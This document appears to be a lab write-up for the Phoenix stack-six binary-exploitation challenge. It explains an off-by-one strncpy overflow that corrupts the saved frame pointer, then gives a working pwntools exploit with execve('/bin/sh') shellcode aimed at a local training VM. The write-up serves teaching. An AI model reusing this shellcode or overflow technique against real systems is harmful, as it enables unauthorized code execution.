I heard that writing this into ~/.gdbinit will make the stack situation more realistic (during debugging)#
(Reference https://n1ght-w0lf.github.io/binary exploitation/stack-six/)
unset env LINES
unset env COLUMNS
set env _ /opt/phoenix/amd64/stack-six
And this is the source code for this challenge#
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
Theory#
There are two errors in the greet function:
-
strncpy does not automatically add a null terminator, while strdup relies on the null terminator to determine the end.
-
The starting address of strncpy is buffer + the length of GREET, but the copy length is maxSize, resulting in a region at the end that is the same length as GREET and can be overflowed (seems to subtract 1).
After debugging, it was found that the return address cannot be overwritten, but the last two digits of rbp pushed onto the stack can be overwritten.
As we all know (if you don't, see this https://zhuanlan.zhihu.com/p/27339191), when entering a function, the following is executed:
call xxx
; equivalent to
; push $+1
; jmp xxx
push rbp
mov rbp, rsp
sub rsp, xxx
And when a function returns, the following is executed:
leave
ret
Equivalent to
mov rsp, rbp
pop rbp
pop rip
When we change the (previous) rbp stored in the greet function's stack to x.
Then *x
will become the bottom of the main function's stack, and *x+8
will become the return address of the main function.
Theory in practice#
Debug with gdb, the range that can be modified is: 0x7fffffffe500~0x7fffffffe5ff
Use this command to see what is in this range
x/32xg 0x00007fffffffe500
By the way, determine where our input is. (Note that things outside the range of the stack cannot be used (doubtful), so we search for environment variables)
(gdb) grep ExploitEducation=
[+] Searching 'ExploitEducation=' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rwx
0x7fffffffeee5 - 0x7fffffffef1c → "ExploitEducation=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
Remove the beginning and determine the range of our input
>>> hex(0xeee5+len("ExploitEducation="))
'0xeef6'
>>> hex(0xeee5+126)
'0xef63'
Go back to the previous range (it seems that the order is not quite right, but it doesn't matter)
0x7fffffffe5c8
is exactly 0x00007fffffffeef6
, how lucky
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'\x90'*20
shellcode += b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode += b"A"*(126-len(shellcode))+b'\xc0'
sh = shell.run("/opt/phoenix/amd64/stack-six", env={"ExploitEducation": shellcode})
print(sh.recvline())
sh.interactive()
Done.